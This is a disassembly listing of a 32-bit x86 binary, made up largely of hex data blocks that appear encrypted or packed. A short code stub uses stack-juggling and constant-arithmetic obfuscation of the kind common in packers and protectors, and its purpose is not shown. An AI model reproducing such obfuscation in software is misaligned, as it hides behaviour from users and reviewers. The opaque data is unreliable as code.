		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 3DF4858Dh, 85890609h, 6062A81h, 3E1C858Dh, 85890609h
		dd 60612E1h, 3E44858Dh,	85890609h, 6060F29h, 8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 6061D3Dh, 6EEB858Dh,	88B0609h, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 3EA58D89h, 0BD830609h, 6063169h,	0F840F00h
		dd 60000000h, 95FF006Ah, 6061AC9h, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 0A185895Ah,	8B06093Eh
		dd 93EA5B5h, 10CEC106h,	2728966h, 3EA5B58Bh, 89660609h
		dd 8B61FC72h, 93EA185h,	958DC306h, 6060BBDh, 15319589h
		dd 95890606h, 60615F1h,	15F185FFh, 85C60606h, 60601C1h
		dd 48D86853h, 0B5FFFCB1h, 606321Dh, 39F5858Dh, 0D0FF0606h
		dd 1AC98589h, 858D0606h, 6093B9Bh, 123D8589h, 0EB0606h
		dd 613E9h, 607E900h, 48680000h,	0E9060940h, 0FFFD3DF9h
		dd 9414468h, 3DEFE906h,	0D868FFFDh, 0E9060941h,	0FFFD3DE5h
		dd 9429768h, 3DDBE906h,	0C068FFFDh, 0E9060943h,	0FFFD3DD1h
		dd 0A90B9AEFh, 4FB1FC8Bh, 0F3555431h, 96F8AFD5h, 37990A78h
		dd 0E59DB33Ch, 4A3E5CBEh, 0A6DDFB5Dh, 77F9DFFh,	64E53A9Ch
		dd 0CDBB8E2Fh, 84485E33h, 0C47BBC05h, 7BDDE02Dh, 44DB2DC4h
		dd 0F067E4C4h, 770F2F19h, 0DBE3062Ch, 0C12DC49Dh, 2DC49E00h
		dd 0C49E249Ch, 9E4B762Dh, 6475ADC4h, 0C49E8E2Fh, 0D7FD5EADh
		dd 1FB0F00Dh, 0C26BE6EAh, 8DD5ECABh, 0B6744235h, 0FAF40A1h
		dd 60867B74h, 3656CF97h, 2E5573D5h, 0A2BF1977h,	789CD162h
		dd 6AB1C8A6h, 5630D409h, 0CF2B0412h, 4642Fh, 78375200h
		dd 148FF816h, 0B2F194B2h, 55523250h, 0F6ADD5F3h, 0FAEC9994h
		dd 9BB91B88h, 3E5CBEEDh, 0DEFC5E45h, 4499FBA8h,	0BC2F8EC3h
		dd 0AFC533CDh, 9EC9AEBh, 8FC296ADh, 1775D6B6h, 0C5735C64h
		dd 0F6B5D32Dh, 0DF0D7A98h, 42A1FFA6h, 426083E1h, 65035C64h
		dd 0DDC6C041h, 0BB295D7Bh, 1E7CDDC8h, 0BF1D8600h, 6225C556h
		dd 0A5011D43h, 1F812A5Ch, 0EE6BE30Dh, 0F2760DA8h, 8F1C6C6Fh
		dd 0BE150778h, 3B41098h, 110000h, 0C591F2CBh, 81A1022Dh
		dd 0E645A302h, 0EC9AFCC0h, 3BD261BFh, 9F1E888Dh, 3D608651h
		dd 2DC49D83h, 3452F283h, 94BA1977h, 0B3D32E78h,	0C04196F8h
		dd 0C49D328Bh, 361C22Dh, 0A5079EE5h, 46A4FF87h,	2C8E94ECh
		dd 0CD2B780Eh, 68CAD9AFh, 0DD7E42D9h, 4A1A9BF1h, 0DEC00124h
		dd 17712DC4h, 83E03A98h, 47BDF283h, 3D2BC2CAh, 58DA7DCh
		dd 0FE5A7E0Ch, 3685Eh, 74335600h, 1893F412h, 0B6ED98B6h
		dd 594E3654h, 0FAA9D9F7h, 0FED09D98h, 9FBD1F84h, 3A58BAE9h
		dd 0DAF85A49h, 489DFFACh, 0BD2B92C7h, 0ABC133CDh, 0BFEC9AE7h
		dd 0BD3BD261h, 0F3E42E0Ch, 295DEB11h, 3B49E97Ah, 89AF0E6Ch
		dd 0BAE99FBDh, 5D29C958h, 0FC05284Eh, 0C42DC547h, 4846024h
		dd 89E846A7h, 38814063h, 0D8B02DC5h, 3EDE6DCBh,	72015F44h
		dd 0C558803Dh, 0B213742Dh, 5858698Ch, 409D2DC5h, 827AAF40h
		dd 682BC358h, 0A7BAD207h, 29857E0Bh, 2D489h, 0E8C7C200h
		dd 841F6886h, 22810422h, 0C5E2A2C0h, 663D4563h,	6A7C0904h
		dd 0B298B18h, 0AECC2E7Dh, 4E6CCED5h, 0B4096B38h, 0BCBFFE33h
		dd 1F3533CDh, 0BFEC9A5Bh, 68434361h, 0B3F3A10Ah, 0DA6B384Eh
		dd 15F4C3Ah, 9AAC7CA2h,	0A8ED7556h, 25911h, 0BC054D00h
		dd 42DC47Bh, 1606216Dh,	7096B66Fh, 0A002A1E2h, 92117111h
		dd 33701634h, 651EACD2h, 0C1C2E03Eh, 6D1B84E2h,	11465739h
		dd 2DC573ACh, 0C4BFDF40h, 562DBBE1h, 15DBED4Fh,	0DBA8EE6Dh
		dd 0FC5A493Bh, 99FAA9DEh, 52EB73h, 5E270000h, 5F700101h
		dd 7BA4194Eh, 0E7482DC4h, 51469EC1h, 5BBC2BC2h,	0C591826h
		dd 0CB6BC77Eh, 215h, 0C5278603h, 63C5E0A7h, 7694045h, 0AA0C9BE9h
		dd 4BADF68Ch, 0D1B1A750h, 365270D2h, 8AF91779h,	0EB9BB91Bh
		dd 88095EC0h, 0CDBE6A53h, 0B0748A33h, 18ADE263h, 0B82DC47Ch
		dd 11766E18h, 400B3192h, 206381DFh, 81052385h, 9E35C422h
		dd 99EC9B62h, 364DAC0Ah, 82A8A47Dh, 71A458B8h, 0F895F2BDh
		dd 0D36D2940h, 766FAF02h, 0EE95B315h, 4F3755B7h, 0B0D8F654h
		dd 0BB3C91F3h, 3E7E2D24h, 0FD233FFAh, 384DEDFEh, 95284B71h
		dd 572DC4FBh, 0B7A98F6h, 82E03A9Ch, 7D082684h, 0B011C426h
		dd 452DC4FBh, 2257E828h, 2BC2D1F6h, 0E9FA8BECh,	1FB93E49h
		dd 7C690A6h, 83DCE2Fh, 33CB23B5h, 22B0D637h, 0C6E44665h
		dd 0F584E2C1h, 1EBC3155h, 0B6569152h, 483C5CBDh, 789EFD5Bh
		dd 0A5DA99EAh, 33CB7518h, 0BC1A7BDCh, 5FBDEA9Eh, 0DDA64441h
		dd 0AD0765C6h, 0B6F59150h, 798F958h, 0E6997570h, 0D42692Bh
		dd 33CAC8B0h, 5C82E344h, 0A318285Dh, 49DA31C8h,	0C4DBA914h
		dd 572B4B2Dh, 2E8FEE4Ch, 239C98CDh, 0CB278412h,	0EC2Bh
		dd 0AFDA00h, 9C07809Eh,	3A691C3Ah, 0DDCABAD8h, 7E255D7Bh
		dd 8254211Ch, 2341A300h, 0C6E44665h, 6684E6BDh,	0CC218320h
		dd 0BEA7164Bh, 374D33CDh, 8FEC9A73h, 0C47C635Ah, 0E9BEC62Dh
		dd 8F00758Ch, 0E9AB3205h, 881B6888h, 0D96ACB2Ah, 9E3D0142h
		dd 0C5EB8422h, 0ABDBF9h, 7A8ED86Fh, 3DFE1641h, 0DD3B6A1Dh
		dd 238C587Eh, 0B6D03175h, 77798BEDh, 79A8EE37h,	0A8A8D168h
		dd 479BDC25h, 0C4A02B92h, 3A60C12Dh, 39B2h, 7413B300h
		dd 28C6DB39h, 7E19BF6Eh, 0ADD0E748h, 0DE871E5Fh, 29A4688Eh
		dd 0CEF6FB89h, 0DFFD41A3h, 7EA1C728h, 2DC55C42h, 3B4B99EDh
		dd 93B31270h, 0F153B4EFh, 0B51h, 0BC057D00h, 752DC47Bh
		dd 0DC309211h, 1AB6C74Eh, 0A7000000h, 0C9277E07h, 3085536Ah
		dd 0E3B2BA46h, 4F60EFBDh, 0C570A31Ah, 0C2E8492Dh, 0C0EF9AFEh
		dd 69424462h, 0F96ED0Bh, 0B6F593B1h, 5B483A58h,	0A3DFFDh
		dd 0A30084A2h, 475E2745h, 0F1BCCBE9h
		db 93h,	1Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	4369h
		mov	[esp], eax
		push	21F8h
		mov	[esp], ebp
		mov	ebp, 32932284h
		add	ebp, 460317D9h
		add	ebp, 8D73054Eh
		mov	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	edx
		add	dword ptr [esp], 1DAC3E04h
		pop	dword ptr [eax+8]
		push	edx
		mov	edx, 1A9A20C3h
		sub	edx, 0FCEDE2BFh
		sub	[eax+8], edx
		pop	edx
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54C1AD
; ---------------------------------------------------------------------------
		db 0FBh, 4Ch, 5Ah
		dd 622DE9B3h, 44D1B827h, 0C5030609h, 20EBD18Bh,	8 dup(0)
		dd 538E9h, 52CE900h, 23680000h,	0E9060947h, 0FFFD37BDh
		dd 947C768h, 37B3E906h,	7168FFFDh, 0E9060949h, 0FFFD37A9h
		dd 949F668h, 379FE906h,	0CCBDFFFDh, 2A5D7BDDh, 8AFB197Bh
		dd 0E99BB91Bh, 483A58BAh, 71FEF95Bh, 1E80235Fh,	0B91B8800h
		dd 5BBDE89Bh, 0F85A493Dh, 0D0ED22A3h, 2433CDC0h, 0EB9A4A0Eh
		dd 831A2BBCh, 0B7893D98h, 4B96EE3h, 0E82DC557h,	6956187h
		dd 2A881F66h, 3F82A5CBh, 5AADC557h, 4BA5683Eh, 1C28EE53h
		dd 2Bh,	7BBB0558h, 6E052DC4h, 0C1C73150h, 30FA205Ch, 0D42D3D3h
		dd 2BCD9F4Dh, 0F5E58CA3h, 8082C656h, 0DB3C9D06h, 22D979h
		dd 5050000h, 2DC47BBCh,	4BDC2439h, 0CD3E4416h, 0FD8AAA2Bh
		dd 0B00E95EFh, 7492F051h, 0D5349211h, 5DB11374h, 5EBCEB9Ah
		dd 51542FCFh, 4B6E94F3h, 523B8547h, 0AED47475h,	123897F5h
		dd 3451B0F6h, 3E44E475h, 91A80765h, 4065C0E8h, 0E5B5DB67h
		dd 9E2F778Bh, 0E95ED8Dh, 0C3FCC5E8h, 97F8ADC3h,	406B1B39h
		dd 276F84DEh, 9FE58596h, 15BFE208h, 7ABC1AFh, 2C9548A6h
		dd 5A7BDD1h, 0A6C42281h, 0B74012DFh, 0B9BC4FFh,	6F9D4CAAh
		dd 0B5D18937h, 9CD41CF1h, 659322E6h, 0CF000000h, 7001015Eh
		dd 0CD46283Bh, 2ABB1C2Bh, 1EAFFC8Ah, 749A097Eh,	0A30086A4h
		dd 95B7E6Eh, 55F5517Eh,	314h, 31931277h, 0D7397413h, 7BDDCCB9h
		dd 1E80275Dh, 0BF218200h, 5D253BC4h, 0C2C6E446h, 1E6583E5h
		dd 7F072587h, 0EC6DC224h, 0CDC306B7h, 0CD0E633h, 2DF18h
		dd 0C3F80900h, 2DC47BFAh, 0AF7399FAh, 5EBCEB9Ah, 4C572FCFh
		dd 46698FEEh, 2DC47C7Bh, 0C47B2021h, 7C427C2Dh,	69582DC4h
		dd 332DC47Ch, 2DC47C8Eh, 0C47BB30Eh, 262D42EDh,	7DB24360h
		dd 0EDC47C40h, 61F253B4h, 0B30A3F50h, 39EDC47Bh, 9B8FB2D8h
		dd 51EBCC8Fh, 0DB3892F0h, 0FF154ADBh, 0F5F1CB70h, 92F3B2D5h
		dd 3A6775Dh, 0EC8CE8C4h, 270h, 95F7B6D3h, 33951077h, 0D7397015h
		dd 7ADCCBB9h, 1B7D265Ch, 1815720h, 662240A2h, 0BAC9E749h
		dd 1B6B89EBh, 58D92E90h, 0CDC29A23h, 80445A33h,	0ACFB8929h
		dd 3BC9EF4Eh, 0C2FB304Bh, 322DC47Bh, 0B81270D1h, 0B9CA5B5Bh
		dd 7C4A73A8h, 49AA2DC4h, 3E460023h, 5BBC2BCDh, 4C5B2ACAh
		dd 99698FEEh, 399B0A7Bh, 0DD3B6A1Bh, 5FF66E83h,	0F4D54504h
		dd 437A2FC2h, 0EF33CE07h, 94F25379h, 0C4E44158h, 2586E7C4h
		dd 9DCF5F94h, 0A40531D6h, 96328F42h, 0AEC32DC4h, 0A2A0D566h
		dd 582BCD58h, 0C0C666F7h, 52F281E3h, 0C04E7433h, 0AC4CDDC6h
		dd 0DAA6CCD7h, 0CDDA8A27h, 0EE364B33h, 9D36285Dh, 0A5BC31D6h
		dd 963C322Bh, 0E69FBF6Ah, 2DCD5EBFh, 19B94A59h,	7DDC3A69h
		dd 1D698757h, 0AA1308Eh, 0C3E40C4Bh, 483A5ABEh,	789EFD5Bh
		dd 0C4FA5C55h, 3C44992Dh, 0BCB876ABh, 62022BCDh, 0C7268423h
		dd 0B2D239B0h, 4066AB3Fh, 0E3831475h, 0D73752A3h, 136112A8h
		dd 543250B2h, 429FF957h, 48A90483h, 396C17B7h, 57567CDBh
		dd 0C3E0A646h, 0BDE00665h, 31D6909Dh, 93127393h, 8101A132h
		dd 7D30FC22h, 2DC49344h, 0A06D3955h, 0A8ED8C50h, 1D17h
		dd 92295300h, 3146F709h, 0CCDBAD52h, 8EAE0F6Eh,	6184AAF9h
		dd 2DC4CA60h, 74Fh, 0BC057B00h,	3F2DC461h, 7001015Eh, 7B932A5Fh
		dd 0F8592DC4h, 0A89ED3D2h, 562BCD3Eh, 203D97F5h, 0C1427BB0h
		dd 92B233CDh, 0F756B4F3h, 6FA43596h, 31CBBAF5h,	5DB1E647h
		dd 0AA84034Eh, 0C6AE4Eh, 60290000h, 0B6D1EF51h,	0E7795F7h
		dd 6D173597h, 0CCB6D436h, 8D7A75D7h, 9AFCA7DBh,	3D9F0C7Ch
		dd 0DF41641Fh, 84E6C5C1h, 4479AE2Fh, 0A833CDC5h, 15ECE92h
		dd 2A5F7001h, 2DC47B93h, 0D3D2F859h, 456222C2h,	1C6888E7h
		dd 0A4CA2987h, 0CD3EC581h, 691B3B2Bh, 5D7DDC3Ah, 0C2217F26h
		dd 0D939D061h, 72BF56CFh, 9AF4C0E6h, 9BAC3D45h,	26DA0504h
		dd 0BEE49539h, 0CC361D9Bh, 3166C731h, 8402CAE7h, 4134D430h
		dd 0A4000000h, 4664C6E5h, 0E2006241h, 84A204A3h, 2341A300h
		dd 0E7E2445Fh, 693A481Eh, 109FE907h, 0B0F390AEh, 4D56304Eh
		dd 0E01596EBh, 33CDC4DDh, 1835F90Fh, 0Ch, 62C07209h, 0B867693Fh
		dd 65ACE92h, 62C0EF9Ah,	0B694244h, 0B10F96EDh, 58B6F593h
		dd 0FD5B483Ah, 0A200A3DFh, 45A30084h, 0E9475E27h, 93F1BCCBh
		dd 0E689561Bh, 4C681h, 0EE830000h, 24348704h, 6824248Bh
		dd 5D68h, 51242C89h, 0C181E189h, 4, 4E981h, 0C870000h
		dd 3C895C24h, 0BF575624h, 45991C19h, 0B80BEFBEh, 5FFE311Bh
		dd 0EC68146h, 4E4E1A63h, 8104E6C1h, 0C515FDCEh,	0E0C68151h
		dd 8932118Fh, 8B545EF5h, 0C483243Ch, 0BED6804h,	2C890000h
		dd 8478F24h, 5F2434FFh,	4C481h,	34FF0000h, 0C4835D24h
		dd 329FE904h, 0E9A4FFFDh, 5CB8AAB8h, 306094Ah, 0E9C88BC5h
		dd 51h,	24748B60h, 3C760324h, 28247C8Bh, 0C281D68Bh, 0F8h
		dd 64E8B66h, 83C9B70Fh,	840F00F9h, 16h,	0F0C7A3Bh, 158Fh
		dd 28EA8300h, 8B0C428Bh, 0C12B144Ah, 7C89F82Bh,	0C2611C24h
		dd 0C2830008h, 850F4928h, 0FFFFFFCFh, 0FFFFE9E9h, 0FD3EBAFFh
		dd 0FE80009h, 11000000h, 9B8E58AAh, 6716CFE4h, 0F8F7DDC0h
		dd 0D98BC513h, 0FED7805Eh, 59EBC681h, 0C92B0000h, 8AB0BB66h
		dd 813134FFh, 0E9199DAh, 0B9605863h, 471FCA93h,	61F98B66h
		dd 14D3C081h, 0CF807994h, 55C08137h, 6650CE87h,	0F081FE8Bh
		dd 6DD86C74h, 8FD68B50h, 800F0E04h, 1, 0FA8B66F8h, 9C28E981h
		dd 0EE930A9h, 0D6000000h, 43927B27h, 1E385FDAh,	34356E2Fh
		dd 24C18115h, 6630A99Ch, 7687E381h, 0A6A4F981h,	850FFFFFh
		dd 0FFFFFF94h, 0BEABE281h, 0D9E96F6Fh, 20000000h, 2C0FBE1Dh
		dd 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h,	52C55DD5h
		dd 0A4D676D3h, 4100FC94h, 50C1AEC4h, 325277CBh,	9CACACh
		dd 0F7F691B8h, 9382CD64h, 38h, 3Ch, 40h, 94h, 5, 1, 0A28h
		dd 2, 20h dup(0)
		dd 1986B93h, 20DEE9h, 4ECC6800h, 0B2E90609h, 68FFFD30h
		dd 6094FD8h, 0FD30A8E9h, 50E368FFh, 9EE90609h, 68FFFD30h
		dd 60951B8h, 0FD3094E9h, 52B268FFh, 8AE90609h, 68FFFD30h
		dd 60953A5h, 0FD3080E9h, 545E68FFh, 76E90609h, 68FFFD30h
		dd 60954FEh, 0FD306CE9h, 58F668FFh, 62E90609h, 68FFFD30h
		dd 609597Bh, 0FD3058E9h, 5AC368FFh, 4EE90609h, 68FFFD30h
		dd 6095DA9h, 0FD3044E9h, 612668FFh, 3AE90609h, 68FFFD30h
		dd 60964E0h, 0FD3030E9h, 663168FFh, 26E90609h, 68FFFD30h
		dd 609669Bh, 0FD301CE9h, 670D68FFh, 12E90609h, 68FFFD30h
		dd 6096767h, 0FD3008E9h, 687968FFh, 0FEE90609h,	68FFFD2Fh
		dd 60969E5h, 0FD2FF4E9h, 6AF768FFh, 0EAE90609h,	8FFFD2Fh
		dd 0A2C02281h, 4664C6E5h, 0E806683Fh, 87A5079Ch, 4B46A8FBh
		dd 0CDD6ACA2h, 6C3B4D6Bh, 0C97EC0Ah, 0B1FA8CAAh, 4479FA4Fh
		dd 33CDC979h, 9AA1657Bh, 4361BFECh, 0AC066843h,	0ADBE4F57h
		dd 7C56679Ch, 81DC2DC4h, 2DC052ACh, 5177D835h, 0C2BA422Eh
		dd 275CFC2Bh, 99BF1E7Ch, 45DC6DCEh, 0E3157190h,	28F41AE4h
		dd 0CB354C75h, 53A0E533h, 0AC25E0A4h, 0B816770Ch, 5DBBE89Ah
		dd 606046F4h, 0F31A8CA8h, 0AEF3EAFDh, 2F6Ah, 15EA600h
		dd 113B7001h, 32BC280h,	0A4B544A2h, 0CA804E6Fh,	173D9E33h
		dd 0CA7FCDF4h, 2DCDCC33h, 0C284E55h, 797D739Ah,	0BBEAAEF3h
		dd 26000000h, 0C009EC9Ah, 0EA206D06h, 0CCD7ABCBh, 93EF0D6Bh
		dd 8323B210h, 0E645A302h, 0A15432C0h, 582E8C26h, 778EED4Bh
		dd 73D4A02Dh, 0A1E68615h, 384EDC02h, 0DA7A096Bh, 0B2D5FBA8h
		dd 2DC4FF4Ch, 1A7C275Fh, 0C3218AFCh, 7B0C1469h,	9924596Ah
		dd 5B2DC4F6h, 0FF604B3Bh, 0D33AB6D9h, 0D7382BC2h, 0BEC61B75h
		dd 2128F82Dh, 0A90A31D3h, 990A7818h, 7A08A837h,	0D750329h
		dd 0AB046196h, 0F5518403h, 1E2D55h, 0ECBBCE00h,	901B6C8Ah
		dd 2E75102Eh, 0D1D6AECCh, 7231516Fh, 76681510h,	1735970Ch
		dd 0B2D03271h, 5270D2D1h, 0C0157734h, 0C9B30A3Fh, 233933CDh
		dd 0BBE89A5Fh, 604B3B59h, 15EAAFEh, 4E5F7001h, 0C47BA419h
		dd 3B31482Dh, 6320B464h, 0AFD2F859h, 2BC2AB9Dh,	1DD02E8Fh
		dd 33CAA3A4h, 51AFF68Dh, 0FB595433h, 38881E4Ch,	0A3E18180h
		dd 0E4C2DE04h, 0F39DC729h, 0EFA0AEh, 9ADC0000h,	4361BFECh
		dd 59BBAE3Fh, 23B8FA2Ch, 35D564C2h, 0D30564Dh, 2DC4FCF1h
		dd 0E0A24A3Ch, 0A50665C3h, 8C612543h, 82D833Ah,	74D233B6h
		dd 0ED8DC51Ah, 67560B9Ah, 8D2DC4F4h, 293ACB2Ch,	85ABFA89h
		dd 0C2D08E62h, 163C42Bh, 0B94A4AA7h, 0D3296D84h, 3B476731h
		dd 4AAB0A68h, 0A64F22B9h, 348A2220h, 0DCF3544Fh, 7B54C083h
		dd 7D7CA28Ch, 57DD56Ch,	405695F2h, 0ADF68C1Ah, 0C25BC4Bh
		dd 0BD2C6152h, 0BFC35177h, 925CAFE4h, 4DA98403h, 1D21ADh
		dd 0E8C7C200h, 841F6886h, 22810422h, 0C5E2A2C0h, 663D4563h
		dd 6A7C0904h, 0B298B18h, 0AECC2E7Dh, 4E6CCED5h,	0B4096B38h
		dd 0CABFFE33h, 1F3533CDh, 0BBE89A5Bh, 3697932Ah, 4AD9DBD8h
		dd 25A7A433h, 446AA3B3h, 0B4305674h, 95BED5CEh,	0AA640A59h
		dd 38CF60C1h, 607D78F2h, 0B585AB3Ch, 0BFEC9A61h, 7BF88E2Eh
		dd 0C47C7746h, 0BB1C7D2Dh, 0A33AC995h, 0D025B144h, 0ACF78CCEh
		dd 1917344Bh, 8AC49B98h, 0F3B0D664h, 486B0291h,	0E16B952h
		dd 519BD297h, 8FEDD3Ah,	3B7B4277h, 10712DC5h, 1CC76EEAh
		dd 3AE7D60Bh, 0AC0D2DC5h, 5FA7BC86h, 4E552ECEh,	0CB0091F0h
		dd 2DC53AF2h, 7C7BA102h, 0C33A3947h, 1E67072Bh,	21CF7087h
		dd 80745140h, 7A2E8F5Ah, 505F3E57h, 2B5AFA97h, 705EFFC6h
		dd 0D7389189h, 8A8AE7B1h, 5BF0C4F9h, 81E2E64Ah,	6CB4C923h
		dd 62E6A6DBh, 8BECE850h, 7F2C5AFAh, 1C87FF1Dh, 8A7796E7h
		dd 0C767C3C9h, 1C16h, 71D3D2B7h, 17793453h, 0BB1D8CF9h
		dd 5EC0E79Dh, 0FF614240h, 1D657B04h, 82062486h,	0DEA5C325h
		dd 3F4765C7h, 2CAD0264h, 0CDCBC6F7h, 4C102633h,	61BFEC9Ah
		dd 19AAEA07h, 0C27D30E4h, 394EEE2Bh, 82B8053Ah,	0DB3C33CAh
		dd 97BD1C7Ah, 3ADA6BCCh, 65355B48h, 0DB38E059h,	0DDAA4ADBh
		dd 0EB1170CEh, 81C9B7ECh, 4AAB31C8h, 2BC77396h,	0D12EEA75h
		dd 982F40D1h, 443F0707h, 8DA40361h, 759B9F70h, 736A6252h
		dd 0A63798F3h, 0C7258206h, 1C764268h, 1D2EBFC7h, 3E9C0B7Dh
		dd 8E437AAFh, 48A9EF7Bh, 0EE9EC1E7h, 0E4ED7954h, 105BF283h
		dd 4ED9C11Fh, 47E7E60Ch, 0C3E2A53Fh, 5231D162h,	0ACD7F553h
		dd 0DB3C9BF9h, 0BFC7E5B5h, 4168AFE4h, 59B5BC61h, 1B41B9h
		dd 8A7E200h, 0A4FF88A6h, 42612442h, 0E5C2C2E0h,	861D6583h
		dd 8A5C2924h, 2B49ABF8h, 0CEEC4E5Dh, 6E8CEEB5h,	0D4298B18h
		dd 0CC9F1E53h, 3F5533CDh, 0BFEC9A7Bh, 0D5E81D2Eh, 172DC47Bh
		dd 35C490B6h, 93B9F095h, 0DB6CB4C9h, 0C2675EA6h, 0D133942Bh
		dd 0C6E5A242h, 0A7F20968h, 0ADA39834h, 88C03C62h, 0CE037390h
		dd 33CAECEFh, 0DE13A405h, 33CAECDFh, 0C253B415h, 0C8EBF38Dh
		dd 87BCCD31h, 2DC4EC36h, 642F55B6h, 2C617203h, 2DC4EC91h
		dd 0A4E20263h, 9CBFE107h, 0B16D3453h, 94256D82h, 6B12555Fh
		dd 0C1F687C8h, 0C87375FCh, 0D02E8FF0h, 0E972AA41h, 4A6F4E83h
		dd 2485C873h, 2999C20Dh, 0AC243903h, 73624677h,	9A4E3C8h
		dd 59EA4BACh, 71286824h, 78096AC6h, 96F4AFD8h, 72121137h
		dd 17359714h, 960D756Fh, 4974A938h, 0ABCA6D5Bh,	5388E94Ah
		dd 0E769B11Eh, 471FBF1Bh, 0E800001Ah, 82A002A1h, 2644A605h
		dd 0C8E6485Fh, 6785E7BCh, 2B26881Bh, 0ADF68C42h, 4C5B2D4Bh
		dd 0ECB7CCEAh, 911A6C8Ah, 2459DA2Fh, 33CDCD99h,	9A81455Bh
		dd 761BFECh, 0E9DEBEAh,	553151B0h, 3899F856h, 7C8A72A7h
		dd 0FF602BC2h, 0FE5BD76Eh, 0D2307B0Bh, 0A22D5C73h, 0EF7E4E74h
		dd 61463EDEh, 0CEEFA403h, 1E33CB16h, 291B97BDh,	19292EFh
		dd 24822161h, 0BAC520Fh, 78D97F32h, 0BB0BB2E7h,	80E133CAh
		dd 5A265B5Ah, 6431C8B9h, 0C3E9C2C4h, 0C0E397F8h, 0D0870DE7h
		dd 0F08181DEh, 0EAD06559h, 4066B63Fh, 0C1A80C41h, 86262904h
		dd 0B17CA201h, 7B98F250h, 790AAA3Bh, 4D6DCC2Ah,	0AF0E6C3Bh
		dd 0E2798A89h, 0C0F534F0h, 290904FDh, 78778EEFh, 79CE844h
		dd 2F5D80A6h, 2527065Ah, 0F39333C4h, 0FF8727B8h, 90AE7EA4h
		dd 4D78ADF6h, 1A86D062h, 19541EBEh, 94F50000h, 0F295B315h
		dd 523351B3h, 0B1D3F153h, 107290F2h, 49363193h,	56B8EB97h
		dd 0F1535038h, 93F5B0D3h, 30921175h, 98255ADBh,	5C33CDCEh
		dd 0EC9A8246h, 0E81D2EBFh, 2DC47BD5h, 7C0FAEE3h, 84E52DC4h
		dd 0D4A0C627h, 8C1D657Ah, 0C256E957h, 48AA0B2Bh, 0C61BFD3Ch
		dd 88F82DBEh, 6A31C8A7h, 4E325509h, 25BE0CB9h, 65E112C8h
		dd 0DB93735Eh, 3899FAA9h, 2E4272A7h, 57B8BF8Bh,	42429FF9h
		dd 87C01AB1h, 99D36A8Fh, 4D3F7473h, 3FC19127h, 0A3B64DDEh
		dd 44C24B1h, 10B0AFD5h,	0ADCB2D76h, 2E7D0BD9h, 0B10C41D0h
		dd 43C18D53h, 0EB2081E2h, 0F049B8C2h, 9B9B3B97h, 3C000018h
		dd 0DEFC5E4Dh, 7A98FAA9h, 1C3A9C0Bh, 0BBD93B68h, 7F7ADCC7h
		dd 1A2E0F6h, 0A807819Fh, 485B2846h, 0E5BEC8E6h,	78AD2E83h
		dd 33CDD045h, 9ACD91A7h, 8E2EBFECh, 0F04FADFAh,	4FA4FECAh
		dd 70A5B647h, 2DC47C4Dh, 0EB757AE5h, 2D8A2763h,	72A7A6CCh
		dd 2BCD3F6Ch, 30D061C2h
		dd 0B1F68E56h, 0BF5FEE50h, 617FDDC8h, 0CA298726h, 0D204369h
		dd 0C033CDC6h, 0E50365A5h, 46A002A1h, 2358E929h, 31D682BBh
		dd 83226505h, 0A031925Dh, 0BA1C8700h, 62C0EB9Ch, 34694244h
		dd 84128A95h, 0FB6E0E6Ah, 9C000017h, 3E5CBEEDh,	0DAF85A49h
		dd 7C9AFCABh, 1B399B08h, 0DFDA3C67h, 61424016h,	8A7E1FFh
		dd 0A8FB88A6h, 455E2846h, 0D80D8EE3h, 33CDCFE5h, 5E2DF107h
		dd 3B700101h, 2BCD38A3h, 0EA707A91h, 9ED277FFh,	770CAC3Dh
		dd 0DE6FCE2Ch, 0CE5014A9h, 5177D833h, 0D7D4B252h, 0C3E0A646h
		dd 693C4765h, 0B812E208h, 97CC5D5Dh, 33CE501Ah,	0A91449DAh
		dd 4B33CE4Fh, 503885BAh, 5BBC33CEh, 883B99FAh, 33CE5038h
		dd 0C2C0605Fh, 916E83E1h, 0EC7C863Bh, 973148A9h, 0D00108E9h
		dd 89EBAE0h, 0F74CEB05h, 9B7CAEh, 6C7D0000h, 0CE588637h
		dd 3F466633h, 4AAB0A68h, 75E6024h, 8C3D7203h, 782DC47Ch
		dd 8A2AB917h, 6689AFFCh, 2DC47C5Bh, 8984223Eh, 0A8ED7967h
		dd 6800h, 0BB053C00h, 52DC47Bh,	26842365h, 0BAD7A1C7h
		dd 0CCDBAA4Ah, 635A0F6Eh, 0C62DC47Ch, 2485E2C1h, 0EC2132C3h
		dd 2DC47BD1h, 605D9223h, 942DC47Ch, 0ADACD233h,	0C2578478h
		dd 3D46662Bh, 18A90866h, 0CAA8DAE3h, 58B91A33h,	495C27C7h
		dd 0B3C45323h, 81367513h, 33CAA93Ch, 0AC0A99EDh, 0FE8FF04Dh
		dd 0CAA8F4C9h, 7197F833h, 1015EADh, 61153B70h, 34CB2BC2h
		dd 0CD4151CEh, 8AF818A0h, 365CBB19h, 8EAC0A6Bh,	7A1AABF8h
		dd 0A9799F0Ch, 4B80FB8Bh, 33CAE972h, 1BCF182h, 0F333CAE9h
		dd 3FD03192h, 0D5E81D2Eh, 1733CAE8h, 0E8BC01B6h, 0C7FC33CAh
		dd 33CAE8F6h, 0D73895F6h, 0BBC7E5B1h, 0EA4B5A29h, 79F4D8Ch
		dd 0BD1F8CFAh, 5EBCE79Fh, 16A7EF04h, 0C8D533E1h, 66C82931h
